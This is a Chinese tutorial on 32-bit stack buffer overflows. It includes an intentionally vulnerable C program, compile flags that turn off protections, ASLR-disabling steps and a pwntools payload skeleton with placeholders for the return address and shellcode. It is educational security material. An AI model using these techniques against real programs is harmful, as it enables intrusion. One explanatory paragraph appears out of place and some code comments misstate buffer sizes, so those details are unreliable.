缓冲区溢出

缓冲区溢出攻击原理

缓冲区攻击指的是一种常见且危害很大的攻击手段,通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,已达到攻击的目的。当正常的使用者操作程序的时候,所进行的的操作一般不会超出程序的运行范围,数据被添加到分配给该缓冲区的内存块之外,会发生缓冲区溢出,这时候会出现数据泄露或侵占了其他的数据空间。

缓冲区溢出的攻击原理就是越过缓冲区长度界限向程序中输入超出其常规长度的内容,造成缓冲区的溢出从而破坏程序的堆栈,使程序运行出现特殊的问题转而执行其他指令。

一般来说,简单的缓冲区溢出,并不会产生安全问题,如果将溢出送到能够以root权限或其他超级权限运行命令的区域去执行某些代码或者运行一个shell的时候,该程序就是以超级用户的权限控制了计算机。

缓冲区溢出原理的简单示意图:

1

可以看出这个函数的有一个参数和两个局部变量。因为局部变量和参数会放在函数的栈帧上而且这个栈帧的大小是编译时就确定好的。所以可以看出局部变量1大小是4字节局部变量2的大小是8字节。ebp和return addr是用来保存栈帧基址和函数的返回地址的对程序员透明。如果我们给局部变量2输入16个字节会发生什么呢。

2

可以看到因为局部变量2只有8字节大小的内存空间多出来的8字节会覆盖掉ebp和return addr。在这个函数执行完后会返回到aaaa这个地址也就是0x61616161去执行下面的指令如果我们把return addr换成事先部署在内存的恶意指令再把return addr换成这块内存的地址则程序会执行我们实现部署好的恶意指令。这就是缓冲区溢出的基本原理。

下面给出一个存在缓冲区溢出的源码本文的所有实例都是基于这个源码进行编译的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
void func()
{
char name[0x50];//0x100大小的栈空间
read(0, name, 0x100);//输入0x200大小的数据
write(1, name, 0x100);
}
int main()
{
func();
return 0;
}
这里bbbb是eip的位置cccc是shellcode的位置然后运行这个python后程序崩溃我们调试core dump(gdb -c core)文件找cccc的地址填到eip的位置即可。

##X86下无任何的防护机制

编译方式:

gcc -m32 1.c -o 1 -O0 -fno-stack-protector -z execstack

m32:生成32bit程序需要gcc-multilib(x86机器上编译不用加)

O0:不进行任何优化

fno-stack-protector:不开启canary栈溢出检测

z execstack:开启栈可执行关闭NX

首先寻找多少字节能溢出且刚好能够覆盖return addr。我们使用gdb-peda提供的pattern_create和pattern_offset。pattern_create是生成一个字符串模板输入后根据EIP来确定覆盖return addr的长度。

gdb-peda$ pattern_create 200

‘AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA’

然后让程序运行输入这串字符串程序崩溃

2

确定主机是否开启ASLR

(ASLR(Address space layout randomization)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。据研究表明ASLR可以有效的降低缓冲区溢出攻击的成功率,如今Linux、FreeBSD、Windows等主流操作系统都已采用了该技术。)

查看ASLR开启的命令:

cat /proc/sys/kernel/randomize_va_space

0:关闭ASLR

1:mmap base、stack、vdso page将随机化。这意味着.so文件将被加载到随机地址。链接时指定了-pie选项的可执行程序,其代码段加载地址将被随机化。配置内核时如果指定了CONFIG_COMPAT_BRK,randomize_va_space缺省为1。此时heap没有随机化。

2:在1的基础上增加了heap随机化。配置内核时如果禁用CONFIG_COMPAT_BRK,randomize_va_space缺省为2

我的ubuntu显示没有关闭ASLR,然后我使用命令echo 0 > /proc/sys/kernel/randomize_va_space去关闭的时候提示我权限不够,切换到root用户,使用root权限关闭了

1

补充:ubuntu关闭地址随机化的方法

http://blog.csdn.net/white_eyes/article/details/7169199

这里也可以使用ldd来看加载动态库时动态库的基址来确定是否开启ASLR

1

两次libc的基址一样也说明了我们已经关闭ASLR。然后我们可以在栈中部署一段shellcode然后让return addr的内容位于shellcode的地址注意这块有个坑。gdb调试的时候栈地址和程序运行时不同所以我们需要开启core dump或者attach到运行的程序上来看程序运行时的栈地址。通过ulimit -c unlimited来开启core dump。然后让程序崩溃调试一下core dump来找shellcode的地址。

1
2
3
4
5
6
7
from pwn import *
io = process("./1")
payload = 'a' * 92
payload += 'bbbb' # eip
payload += 'cccc' # shellcode
io.send(payload)

这里bbbb是eip的位置cccc是shellcode的位置然后运行这个python后程序崩溃我们调试core dump(gdb -c core)文件找cccc的地址填到eip的位置即可。